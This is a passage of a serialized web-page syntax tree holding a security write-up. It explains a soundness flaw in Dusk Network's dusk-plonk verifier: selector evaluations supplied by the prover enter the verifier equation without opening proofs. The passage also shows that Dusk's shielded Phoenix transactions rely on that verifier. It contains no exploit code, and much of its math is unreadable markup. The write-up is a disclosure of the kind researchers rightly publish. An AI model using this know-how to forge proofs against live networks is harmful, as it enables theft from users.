5726},[6207],[145728],{"type":28,"value":282},{"type":22,"tag":118,"props":145730,"children":145732},{"className":145731,"style":6202},[6104],[],{"type":22,"tag":118,"props":145734,"children":145736},{"className":145735},[6012],[145737,145741,145746,145751,145756,145761,145765,145770],{"type":22,"tag":118,"props":145738,"children":145740},{"className":145739,"style":6125},[6017],[],{"type":22,"tag":118,"props":145742,"children":145744},{"className":145743,"style":23543},[6023,23542],[145745],{"type":28,"value":7997},{"type":22,"tag":118,"props":145747,"children":145749},{"className":145748},[23671],[145750],{"type":28,"value":540},{"type":22,"tag":118,"props":145752,"children":145754},{"className":145753,"style":115200},[6023,23542],[145755],{"type":28,"value":115203},{"type":22,"tag":118,"props":145757,"children":145759},{"className":145758},[23693],[145760],{"type":28,"value":3627},{"type":22,"tag":118,"props":145762,"children":145764},{"className":145763,"style":6105},[6104],[],{"type":22,"tag":118,"props":145766,"children":145768},{"className":145767},[6110],[145769],{"type":28,"value":112905},{"type":22,"tag":118,"props":145771,"children":145773},{"className":145772,"style":6105},[6104],[],{"type":22,"tag":118,"props":145775,"children":145777},{"className":145776},[6012],[145778,145782,145787,145792,145797],{"type":22,"tag":118,"props":145779,"children":145781},{"className":145780,"style":6125},[6017],[],{"type":22,"tag":118,"props":145783,"children":145785},{"className":145784,"style":24074},[6023,23542],[145786],{"type":28,"value":145207},{"type":22,"tag":118,"props":145788,"children":145790},{"className":145789},[23671],[145791],{"type":28,"value":540},{"type":22,"tag":118,"props":145793,"children":145795},{"className":145794,"style":115200},[6023,23542],[145796],{"type":28,"value":115203},{"type":22,"tag":118,"props":145798,"children":145800},{"className":145799},[23693],[145801],{"type":28,"value":3627},{"type":28,"value":145803}," at that single point. By the Schwartz-Zippel lemma, if this holds at a random ",{"type":22,"tag":114,"props":145805,"children":145807},{"className":145806},[5995,5996],[145808],{"type":22,"tag":118,"props":145809,"children":145811},{"className":145810},[6001],[145812],{"type":22,"tag":118,"props":145813,"children":145815},{"className":145814,"ariaHidden":6007},[6006],[145816],{"type":22,"tag":118,"props":145817,"children":145819},{"className":145818},[6012],[145820,145824],{"type":22,"tag":118,"props":145821,"children":145823},{"className":145822,"style":112484},[6017],[],{"type":22,"tag":118,"props":145825,"children":145827},{"className":145826,"style":115200},[6023,23542],[145828],{"type":28,"value":115203},{"type":28,"value":145830}," then the full polynomial identity holds with overwhelming probability, so the verifier checks the entire multi-million-row circuit in constant time.",{"type":22,"tag":31,"props":145832,"children":145833},{},[145834,145836,145861,145863,145868],{"type":28,"value":145835},"In textbook PLONK the selector polynomials are part of the fixed circuit description, but in practice implementations commit to them during preprocessing and place those commitments in the verifier key. When the verifier later needs their values at ",{"type":22,"tag":114,"props":145837,"children":145839},{"className":145838},[5995,5996],[145840],{"type":22,"tag":118,"props":145841,"children":145843},{"className":145842},[6001],[145844],{"type":22,"tag":118,"props":145845,"children":145847},{"className":145846,"ariaHidden":6007},[6006],[145848],{"type":22,"tag":118,"props":145849,"children":145851},{"className":145850},[6012],[145852,145856],{"type":22,"tag":118,"props":145853,"children":145855},{"className":145854,"style":112484},[6017],[],{"type":22,"tag":118,"props":145857,"children":145859},{"className":145858,"style":115200},[6023,23542],[145860],{"type":28,"value":115203},{"type":28,"value":145862},", the prover supplies ",{"type":22,"tag":4764,"props":145864,"children":145865},{},[145866],{"type":28,"value":145867},"evaluation claims",{"type":28,"value":145869}," that must be checked against those commitments with opening proofs.",{"type":22,"tag":31,"props":145871,"children":145872},{},[145873,145875,145879],{"type":28,"value":145874},"The security argument depends on a chain: commitments lock the prover into polynomials ",{"type":22,"tag":4764,"props":145876,"children":145877},{},[145878],{"type":28,"value":106187},{"type":28,"value":145880}," challenges are derived, and opening proofs ensure the evaluations are consistent with those commitments. Breaking any single link in this chain collapses soundness entirely.",{"type":22,"tag":1289,"props":145882,"children":145884},{"id":145883},"what-the-verifier-is-actually-allowed-to-trust",[145885],{"type":28,"value":145886},"What the verifier is actually allowed to trust",{"type":22,"tag":31,"props":145888,"children":145889},{},[145890,145892,145897],{"type":28,"value":145891},"For this bug, one invariant matters more than the rest: ",{"type":22,"tag":74,"props":145893,"children":145894},{},[145895],{"type":28,"value":145896},"every scalar that enters the final verifier equation must be either locally computed by the verifier, or cryptographically tied to an earlier commitment",{"type":28,"value":292},{"type":22,"tag":31,"props":145899,"children":145900},{},[145901,145903,145995,145996,146088,146090,146115,146117,146157,146158,146198,146199,146292,146293,146339,146341,146428,146429,146516,146517,146604],{"type":28,"value":145902},"In practice, values entering the verifier equation fall into three buckets. The verifier computes some values locally from public data (",{"type":22,"tag":114,"props":145904,"children":145906},{"className":145905},[5995,5996],[145907],{"type":22,"tag":118,"props":145908,"children":145910},{"className":145909},[6001],[145911],{"type":22,"tag":118,"props":145912,"children":145914},{"className":145913,"ariaHidden":6007},[6006],[145915],{"type":22,"tag":118,"props":145916,"children":145918},{"className":145917},[6012],[145919,145923,145980,145985,145990],{"type":22,"tag":118,"props":145920,"children":145922},{"className":145921,"style":6125},[6017],[],{"type":22,"tag":118,"props":145924,"children":145926},{"className":145925},[6023],[145927,145932],{"type":22,"tag":118,"props":145928,"children":145930},{"className":145929,"style":24074},[6023,23542],[145931],{"type":28,"value":145207},{"type":22,"tag":118,"props":145933,"children":145935},{"className":145934},[6040],[145936],{"type":22,"tag":118,"props":145937,"children":145939},{"className":145938},[6045,23596],[145940,145969],{"type":22,"tag":118,"props":145941,"children":145943},{"className":145942},[6050],[145944,145964],{"type":22,"tag":118,"props":145945,"children":145947},{"className":145946,"style":144198},[6055],[145948],{"type":22,"tag":118,"props":145949,"children":145950},{"style":117892},[145951,145955],{"type":22,"tag":118,"props":145952,"children":145954},{"className":145953,"style":6065},[6064],[],{"type":22,"tag":118,"props":145956,"children":145958},{"className":145957},[6070,6071,6072,6073],[145959],{"type":22,"tag":118,"props":145960,"children":145962},{"className":145961,"style":94877},[6023,23542,6073],[145963],{"type":28,"value":94880},{"type":22,"tag":118,"props":145965,"children":145967},{"className":145966},[23699],[145968],{"type":28,"value":23702},{"type":22,"tag":118,"props":145970,"children":145972},{"className":145971},[6050],[145973],{"type":22,"tag":118,"props":145974,"children":145976},{"className":145975,"style":94726},[6055],[145977],{"type":22,"tag":118,"props":145978,"children":145979},{},[],{"type":22,"tag":118,"props":145981,"children":145983},{"className":145982},[23671],[145984],{"type":28,"value":540},{"type":22,"tag":118,"props":145986,"children":145988},{"className":145987,"style":115200},[6023,23542],[145989],{"type":28,"value":115203},{"type":22,"tag":118,"props":145991,"children":145993},{"className":145992},[23693],[145994],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":145997,"children":145999},{"className":145998},[5995,5996],[146000],{"type":22,"tag":118,"props":146001,"children":146003},{"className":146002},[6001],[146004],{"type":22,"tag":118,"props":146005,"children":146007},{"className":146006,"ariaHidden":6007},[6006],[146008],{"type":22,"tag":118,"props":146009,"children":146011},{"className":146010},[6012],[146012,146016,146073,146078,146083],{"type":22,"tag":118,"props":146013,"children":146015},{"className":146014,"style":6125},[6017],[],{"type":22,"tag":118,"props":146017,"children":146019},{"className":146018},[6023],[146020,146025],{"type":22,"tag":118,"props":146021,"children":146023},{"className":146022},[6023,23542],[146024],{"type":28,"value":119607},{"type":22,"tag":118,"props":146026,"children":146028},{"className":146027},[6040],[146029],{"type":22,"tag":118,"props":146030,"children":146032},{"className":146031},[6045,23596],[146033,146062],{"type":22,"tag":118,"props":146034,"children":146036},{"className":146035},[6050],[146037,146057],{"type":22,"tag":118,"props":146038,"children":146040},{"className":146039,"style":94695},[6055],[146041],{"type":22,"tag":118,"props":146042,"children":146043},{"style":94699},[146044,146048],{"type":22,"tag":118,"props":146045,"children":146047},{"className":146046,"style":6065},[6064],[],{"type":22,"tag":118,"props":146049,"children":146051},{"className":146050},[6070,6071,6072,6073],[146052],{"type":22,"tag":118,"props":146053,"children":146055},{"className":146054},[6023,6073],[146056],{"type":28,"value":6026},{"type":22,"tag":118,"props":146058,"children":146060},{"className":146059},[23699],[146061],{"type":28,"value":23702},{"type":22,"tag":118,"props":146063,"children":146065},{"className":146064},[6050],[146066],{"type":22,"tag":118,"props":146067,"children":146069},{"className":146068,"style":94726},[6055],[146070],{"type":22,"tag":118,"props":146071,"children":146072},{},[],{"type":22,"tag":118,"props":146074,"children":146076},{"className":146075},[23671],[146077],{"type":28,"value":540},{"type":22,"tag":118,"props":146079,"children":146081},{"className":146080,"style":115200},[6023,23542],[146082],{"type":28,"value":115203},{"type":22,"tag":118,"props":146084,"children":146086},{"className":146085},[23693],[146087],{"type":28,"value":3627},{"type":28,"value":146089},", the public-input polynomial at ",{"type":22,"tag":114,"props":146091,"children":146093},{"className":146092},[5995,5996],[146094],{"type":22,"tag":118,"props":146095,"children":146097},{"className":146096},[6001],[146098],{"type":22,"tag":118,"props":146099,"children":146101},{"className":146100,"ariaHidden":6007},[6006],[146102],{"type":22,"tag":118,"props":146103,"children":146105},{"className":146104},[6012],[146106,146110],{"type":22,"tag":118,"props":146107,"children":146109},{"className":146108,"style":112484},[6017],[],{"type":22,"tag":118,"props":146111,"children":146113},{"className":146112,"style":115200},[6023,23542],[146114],{"type":28,"value":115203},{"type":28,"value":146116},"), which are safe because the prover never chooses them. Other values are prover-supplied evaluations accompanied by KZG opening proofs (",{"type":22,"tag":114,"props":146118,"children":146120},{"className":146119},[5995,5996],[146121],{"type":22,"tag":118,"props":146122,"children":146124},{"className":146123},[6001],[146125],{"type":22,"tag":118,"props":146126,"children":146128},{"className":146127,"ariaHidden":6007},[6006],[146129],{"type":22,"tag":118,"props":146130,"children":146132},{"className":146131},[6012],[146133,146137,146142,146147,146152],{"type":22,"tag":118,"props":146134,"children":146136},{"className":146135,"style":6125},[6017],[],{"type":22,"tag":118,"props":146138,"children":146140},{"className":146139},[6023,23542],[146141],{"type":28,"value":42},{"type":22,"tag":118,"props":146143,"children":146145},{"className":146144},[23671],[146146],{"type":28,"value":540},{"type":22,"tag":118,"props":146148,"children":146150},{"className":146149,"style":115200},[6023,23542],[146151],{"type":28,"value":115203},{"type":22,"tag":118,"props":146153,"children":146155},{"className":146154},[23693],[146156],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":146159,"children":146161},{"className":146160},[5995,5996],[146162],{"type":22,"tag":118,"props":146163,"children":146165},{"className":146164},[6001],[146166],{"type":22,"tag":118,"props":146167,"children":146169},{"className":146168,"ariaHidden":6007},[6006],[146170],{"type":22,"tag":118,"props":146171,"children":146173},{"className":146172},[6012],[146174,146178,146183,146188,146193],{"type":22,"tag":118,"props":146175,"children":146177},{"className":146176,"style":6125},[6017],[],{"type":22,"tag":118,"props":146179,"children":146181},{"className":146180},[6023,23542],[146182],{"type":28,"value":5243},{"type":22,"tag":118,"props":146184,"children":146186},{"className":146185},[23671],[146187],{"type":28,"value":540},{"type":22,"tag":118,"props":146189,"children":146191},{"className":146190,"style":115200},[6023,23542],[146192],{"type":28,"value":115203},{"type":22,"tag":118,"props":146194,"children":146196},{"className":146195},[23693],[146197],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":146200,"children":146202},{"className":146201},[5995,5996],[146203],{"type":22,"tag":118,"props":146204,"children":146206},{"className":146205},[6001],[146207],{"type":22,"tag":118,"props":146208,"children":146210},{"className":146209,"ariaHidden":6007},[6006],[146211],{"type":22,"tag":118,"props":146212,"children":146214},{"className":146213},[6012],[146215,146219,146277,146282,146287],{"type":22,"tag":118,"props":146216,"children":146218},{"className":146217,"style":6125},[6017],[],{"type":22,"tag":118,"props":146220,"children":146222},{"className":146221},[6023],[146223,146229],{"type":22,"tag":118,"props":146224,"children":146226},{"className":146225,"style":95129},[6023,23542],[146227],{"type":28,"value":146228},"σ",{"type":22,"tag":118,"props":146230,"children":146232},{"className":146231},[6040],[146233],{"type":22,"tag":118,"props":146234,"children":146236},{"className":146235},[6045,23596],[146237,146266],{"type":22,"tag":118,"props":146238,"children":146240},{"className":146239},[6050],[146241,146261],{"type":22,"tag":118,"props":146242,"children":146244},{"className":146243,"style":94695},[6055],[146245],{"type":22,"tag":118,"props":146246,"children":146247},{"style":95176},[146248,146252],{"type":22,"tag":118,"props":146249,"children":146251},{"className":146250,"style":6065},[6064],[],{"type":22,"tag":118,"props":146253,"children":146255},{"className":146254},[6070,6071,6072,6073],[146256],{"type":22,"tag":118,"props":146257,"children":146259},{"className":146258},[6023,6073],[146260],{"type":28,"value":6026},{"type":22,"tag":118,"props":146262,"children":146264},{"className":146263},[23699],[146265],{"type":28,"value":23702},{"type":22,"tag":118,"props":146267,"children":146269},{"className":146268},[6050],[146270],{"type":22,"tag":118,"props":146271,"children":146273},{"className":146272,"style":94726},[6055],[146274],{"type":22,"tag":118,"props":146275,"children":146276},{},[],{"type":22,"tag":118,"props":146278,"children":146280},{"className":146279},[23671],[146281],{"type":28,"value":540},{"type":22,"tag":118,"props":146283,"children":146285},{"className":146284,"style":115200},[6023,23542],[146286],{"type":28,"value":115203},{"type":22,"tag":118,"props":146288,"children":146290},{"className":146289},[23693],[146291],{"type":28,"value":3627},{"type":28,"value":231},{"type":22,"tag":114,"props":146294,"children":146296},{"className":146295},[5995,5996],[146297],{"type":22,"tag":118,"props":146298,"children":146300},{"className":146299},[6001],[146301],{"type":22,"tag":118,"props":146302,"children":146304},{"className":146303,"ariaHidden":6007},[6006],[146305],{"type":22,"tag":118,"props":146306,"children":146308},{"className":146307},[6012],[146309,146313,146318,146323,146328,146334],{"type":22,"tag":118,"props":146310,"children":146312},{"className":146311,"style":6125},[6017],[],{"type":22,"tag":118,"props":146314,"children":146316},{"className":146315},[6023,23542],[146317],{"type":28,"value":42},{"type":22,"tag":118,"props":146319,"children":146321},{"className":146320},[23671],[146322],{"type":28,"value":540},{"type":22,"tag":118,"props":146324,"children":146326},{"className":146325,"style":115200},[6023,23542],[146327],{"type":28,"value":115203},{"type":22,"tag":118,"props":146329,"children":146331},{"className":146330,"style":95129},[6023,23542],[146332],{"type":28,"value":146333},"ω",{"type":22,"tag":118,"props":146335,"children":146337},{"className":146336},[23693],[146338],{"type":28,"value":3627},{"type":28,"value":146340},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":22,"tag":114,"props":146342,"children":146344},{"className":146343},[5995,5996],[146345],{"type":22,"tag":118,"props":146346,"children":146348},{"className":146347},[6001],[146349],{"type":22,"tag":118,"props":146350,"children":146352},{"className":146351,"ariaHidden":6007},[6006],[146353],{"type":22,"tag":118,"props":146354,"children":146356},{"className":146355},[6012],[146357,146361,146366,146423],{"type":22,"tag":118,"props":146358,"children":146360},{"className":146359,"style":6125},[6017],[],{"type":22,"tag":118,"props":146362,"children":146364},{"className":146363},[23671],[146365],{"type":28,"value":5746},{"type":22,"tag":118,"props":146367,"children":146369},{"className":146368},[6023],[146370,146375],{"type":22,"tag":118,"props":146371,"children":146373},{"className":146372,"style":95129},[6023,23542],[146374],{"type":28,"value":95132},{"type":22,"tag":118,"props":146376,"children":146378},{"className":146377},[6040],[146379],{"type":22,"tag":118,"props":146380,"children":146382},{"className":146381},[6045,23596],[146383,146412],{"type":22,"tag":118,"props":146384,"children":146386},{"className":146385},[6050],[146387,146407],{"type":22,"tag":118,"props":146388,"children":146390},{"className":146389,"style":144198},[6055],[146391],{"type":22,"tag":118,"props":146392,"children":146393},{"style":95176},[146394,146398],{"type":22,"tag":118,"props":146395,"children":146397},{"className":146396,"style":6065},[6064],[],{"type":22,"tag":118,"props":146399,"children":146401},{"className":146400},[6070,6071,6072,6073],[146402],{"type":22,"tag":118,"props":146403,"children":146405},{"className":146404,"style":96651},[6023,23542,6073],[146406],{"type":28,"value":96654},{"type":22,"tag":118,"props":146408,"children":146410},{"className":146409},[23699],[146411],{"type":28,"value":23702},{"type":22,"tag":118,"props":146413,"children":146415},{"className":146414},[6050],[146416],{"type":22,"tag":118,"props":146417,"children":146419},{"className":146418,"style":94726},[6055],[146420],{"type":22,"tag":118,"props":146421,"children":146422},{},[],{"type":22,"tag":118,"props":146424,"children":146426},{"className":146425},[23693],[146427],{"type":28,"value":17386},{"type":28,"value":231},{"type":22,"tag":114,"props":146430,"children":146432},{"className":146431},[5995,5996],[146433],{"type":22,"tag":118,"props":146434,"children":146436},{"className":146435},[6001],[146437],{"type":22,"tag":118,"props":146438,"children":146440},{"className":146439,"ariaHidden":6007},[6006],[146441],{"type":22,"tag":118,"props":146442,"children":146444},{"className":146443},[6012],[146445,146449,146454,146511],{"type":22,"tag":118,"props":146446,"children":146448},{"className":146447,"style":6125},[6017],[],{"type":22,"tag":118,"props":146450,"children":146452},{"className":146451},[23671],[146453],{"type":28,"value":5746},{"type":22,"tag":118,"props":146455,"children":146457},{"className":146456},[6023],[146458,146463],{"type":22,"tag":118,"props":146459,"children":146461},{"className":146460,"style":95129},[6023,23542],[146462],{"type":28,"value":95132},{"type":22,"tag":118,"props":146464,"children":146466},{"className":146465},[6040],[146467],{"type":22,"tag":118,"props":146468,"children":146470},{"className":146469},[6045,23596],[146471,146500],{"type":22,"tag":118,"props":146472,"children":146474},{"className":146473},[6050],[146475,146495],{"type":22,"tag":118,"props":146476,"children":146478},{"className":146477,"style":144198},[6055],[146479],{"type":22,"tag":118,"props":146480,"children":146481},{"style":95176},[146482,146486],{"type":22,"tag":118,"props":146483,"children":146485},{"className":146484,"style":6065},[6064],[],{"type":22,"tag":118,"props":146487,"children":146489},{"className":146488},[6070,6071,6072,6073],[146490],{"type":22,"tag":118,"props":146491,"children":146493},{"className":146492,"style":94643},[6023,23542,6073],[146494],{"type":28,"value":116962},{"type":22,"tag":118,"props":146496,"children":146498},{"className":146497},[23699],[146499],{"type":28,"value":23702},{"type":22,"tag":118,"props":146501,"children":146503},{"className":146502},[6050],[146504],{"type":22,"tag":118,"props":146505,"children":146507},{"className":146506,"style":94726},[6055],[146508],{"type":22,"tag":118,"props":146509,"children":146510},{},[],{"type":22,"tag":118,"props":146512,"children":146514},{"className":146513},[23693],[146515],{"type":28,"value":17386},{"type":28,"value":231},{"type":22,"tag":114,"props":146518,"children":146520},{"className":146519},[5995,5996],[146521],{"type":22,"tag":118,"props":146522,"children":146524},{"className":146523},[6001],[146525],{"type":22,"tag":118,"props":146526,"children":146528},{"className":146527,"ariaHidden":6007},[6006],[146529],{"type":22,"tag":118,"props":146530,"children":146532},{"className":146531},[6012],[146533,146537,146542,146599],{"type":22,"tag":118,"props":146534,"children":146536},{"className":146535,"style":6125},[6017],[],{"type":22,"tag":118,"props":146538,"children":146540},{"className":146539},[23671],[146541],{"type":28,"value":5746},{"type":22,"tag":118,"props":146543,"children":146545},{"className":146544},[6023],[146546,146551],{"type":22,"tag":118,"props":146547,"children":146549},{"className":146548,"style":95129},[6023,23542],[146550],{"type":28,"value":146228},{"type":22,"tag":118,"props":146552,"children":146554},{"className":146553},[6040],[146555],{"type":22,"tag":118,"props":146556,"children":146558},{"className":146557},[6045,23596],[146559,146588],{"type":22,"tag":118,"props":146560,"children":146562},{"className":146561},[6050],[146563,146583],{"type":22,"tag":118,"props":146564,"children":146566},{"className":146565,"style":94695},[6055],[146567],{"type":22,"tag":118,"props":146568,"children":146569},{"style":95176},[146570,146574],{"type":22,"tag":118,"props":146571,"children":146573},{"className":146572,"style":6065},[6064],[],{"type":22,"tag":118,"props":146575,"children":146577},{"className":146576},[6070,6071,6072,6073],[146578],{"type":22,"tag":118,"props":146579,"children":146581},{"className":146580},[6023,6073],[146582],{"type":28,"value":19493},{"type":22,"tag":118,"props":146584,"children":146586},{"className":146585},[23699],[146587],{"type":28,"value":23702},{"type":22,"tag":118,"props":146589,"children":146591},{"className":146590},[6050],[146592],{"type":22,"tag":118,"props":146593,"children":146595},{"className":146594,"style":94726},[6055],[146596],{"type":22,"tag":118,"props":146597,"children":146598},{},[],{"type":22,"tag":118,"props":146600,"children":146602},{"className":146601},[23693],[146603],{"type":28,"value":17386},{"type":28,"value":146605},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":22,"tag":31,"props":146607,"children":146608},{},[146609],{"type":28,"value":146610},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":22,"tag":20760,"props":146612,"children":146613},{},[],{"type":22,"tag":23,"props":146615,"children":146617},{"id":146616},"where-dusk-plonk-differs-from-textbook-plonk",[146618],{"type":28,"value":146619},"Where dusk-plonk differs from textbook PLONK",{"type":22,"tag":31,"props":146621,"children":146622},{},[146623,146632,146634,146639,146641,146671],{"type":22,"tag":42,"props":146624,"children":146626},{"href":143498,"rel":146625},[46],[146627],{"type":22,"tag":114,"props":146628,"children":146630},{"className":146629},[],[146631],{"type":28,"value":143502},{"type":28,"value":146633}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":22,"tag":114,"props":146635,"children":146637},{"className":146636},[],[146638],{"type":28,"value":72503},{"type":28,"value":146640},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":22,"tag":114,"props":146642,"children":146644},{"className":146643},[5995,5996],[146645],{"type":22,"tag":118,"props":146646,"children":146648},{"className":146647},[6001],[146649],{"type":22,"tag":118,"props":146650,"children":146652},{"className":146651,"ariaHidden":6007},[6006],[146653],{"type":22,"tag":118,"props":146654,"children":146656},{"className":146655},[6012],[146657,146661,146666],{"type":22,"tag":118,"props":146658,"children":146660},{"className":146659,"style":112484},[6017],[],{"type":22,"tag":118,"props":146662,"children":146664},{"className":146663,"style":115200},[6023,23542],[146665],{"type":28,"value":115203},{"type":22,"tag":118,"props":146667,"children":146669},{"className":146668,"style":95129},[6023,23542],[146670],{"type":28,"value":146333},{"type":28,"value":146672},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":22,"tag":31,"props":146674,"children":146675},{},[146676,146678,146683,146684,146689,146691,146697,146699,146706],{"type":28,"value":146677},"The important part for this bug is the boundary between ",{"type":22,"tag":74,"props":146679,"children":146680},{},[146681],{"type":28,"value":146682},"public circuit data",{"type":28,"value":12991},{"type":22,"tag":74,"props":146685,"children":146686},{},[146687],{"type":28,"value":146688},"prover claims about that data at the random challenge point",{"type":28,"value":146690},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":22,"tag":114,"props":146692,"children":146694},{"className":146693},[],[146695],{"type":28,"value":146696},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":146698}," directly into the ",{"type":22,"tag":42,"props":146700,"children":146703},{"href":146701,"rel":146702},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[46],[146704],{"type":28,"value":146705},"linearization multi-scalar multiplication",{"type":28,"value":146707},", ensuring their values are cryptographically bound by construction.",{"type":22,"tag":31,"props":146709,"children":146710},{},[146711,146713,146738],{"type":28,"value":146712},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":22,"tag":114,"props":146714,"children":146716},{"className":146715},[5995,5996],[146717],{"type":22,"tag":118,"props":146718,"children":146720},{"className":146719},[6001],[146721],{"type":22,"tag":118,"props":146722,"children":146724},{"className":146723,"ariaHidden":6007},[6006],[146725],{"type":22,"tag":118,"props":146726,"children":146728},{"className":146727},[6012],[146729,146733],{"type":22,"tag":118,"props":146730,"children":146732},{"className":146731,"style":112484},[6017],[],{"type":22,"tag":118,"props":146734,"children":146736},{"className":146735,"style":115200},[6023,23542],[146737],{"type":28,"value":115203},{"type":28,"value":146739}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":22,"tag":31,"props":146741,"children":146742},{},[146743],{"type":28,"value":146744},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":22,"tag":146746,"props":146747,"children":146748},"dusk-verifier-dependence-graph",{},[],{"type":22,"tag":20760,"props":146750,"children":146751},{},[],{"type":22,"tag":23,"props":146753,"children":146755},{"id":146754},"how-dusk-uses-plonk",[146756],{"type":28,"value":146757},"How Dusk uses PLONK",{"type":22,"tag":31,"props":146759,"children":146760},{},[146761,146767],{"type":22,"tag":42,"props":146762,"children":146764},{"href":143507,"rel":146763},[46],[146765],{"type":28,"value":146766},"Dusk Network",{"type":28,"value":146768}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":22,"tag":64,"props":146770,"children":146771},{},[146772,146777],{"type":22,"tag":68,"props":146773,"children":146774},{},[146775],{"type":28,"value":146776},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":22,"tag":68,"props":146778,"children":146779},{},[146780],{"type":28,"value":146781},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":22,"tag":31,"props":146783,"children":146784},{},[146785,146787,146798,146800,146811],{"type":28,"value":146786},"At node level, every ",{"type":22,"tag":42,"props":146788,"children":146791},{"href":146789,"rel":146790},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[46],[146792],{"type":22,"tag":114,"props":146793,"children":146795},{"className":146794},[],[146796],{"type":28,"value":146797},"ProtocolTransaction::Phoenix",{"type":28,"value":146799}," goes through ",{"type":22,"tag":42,"props":146801,"children":146804},{"href":146802,"rel":146803},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[46],[146805],{"type":22,"tag":114,"props":146806,"children":146808},{"className":146807},[],[146809],{"type":28,"value":146810},"verify_proof_with_version()",{"type":28,"value":146812}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":22,"tag":31,"props":146814,"children":146815},{},[146816,146818,146829,146831,146842,146843,146854,146855,146866,146867,146878],{"type":28,"value":146817},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":22,"tag":42,"props":146819,"children":146822},{"href":146820,"rel":146821},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[46],[146823],{"type":22,"tag":114,"props":146824,"children":146826},{"className":146825},[],[146827],{"type":28,"value":146828},"phoenix()",{"type":28,"value":146830},", for example in ",{"type":22,"tag":42,"props":146832,"children":146835},{"href":146833,"rel":146834},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[46],[146836],{"type":22,"tag":114,"props":146837,"children":146839},{"className":146838},[],[146840],{"type":28,"value":146841},"phoenix_stake()",{"type":28,"value":231},{"type":22,"tag":42,"props":146844,"children":146847},{"href":146845,"rel":146846},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[46],[146848],{"type":22,"tag":114,"props":146849,"children":146851},{"className":146850},[],[146852],{"type":28,"value":146853},"phoenix_stake_reward()",{"type":28,"value":231},{"type":22,"tag":42,"props":146856,"children":146859},{"href":146857,"rel":146858},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[46],[146860],{"type":22,"tag":114,"props":146861,"children":146863},{"className":146862},[],[146864],{"type":28,"value":146865},"phoenix_unstake()",{"type":28,"value":8497},{"type":22,"tag":42,"props":146868,"children":146871},{"href":146869,"rel":146870},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[46],[146872],{"type":22,"tag":114,"props":146873,"children":146875},{"className":146874},[],[146876],{"type":28,"value":146877},"phoenix_to_moonlight()",{"type":28,"value":146879},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":22,"tag":31,"props":146881,"children":146882},{},[146883],{"type":22,"tag":5928,"props":146884,"children":146887},{"alt":146885,"src":146886},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":22,"tag":31,"props":146889,"children":146890},{},[146891,146893,146899,146901,146908],{"type":28,"value":146892},"The PLONK implementation, ",{"type":22,"tag":42,"props":146894,"children":146897},{"href":146895,"rel":146896},"https://github.com/dusk-network/plonk",[46],[146898],{"type":28,"value":143502},{"type":28,"value":146900},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":22,"tag":42,"props":146902,"children":146905},{"href":146903,"rel":146904},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[46],[146906],{"type":28,"value":146907},"the original paper",{"type":28,"value":146909}," was released.",{"type":22,"tag":31,"props":146911,"children":146912},{},[146913,146915,146921],{"type":28,"value":146914},"The Phoenix transaction PLONK circuit is defined ",{"type":22,"tag":42,"props":146916,"children":146919},{"href":146917,"rel":146918},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[46],[146920],{"type":28,"value":1377},{"type":28,"value":146922},". The circuit enforces the following set of 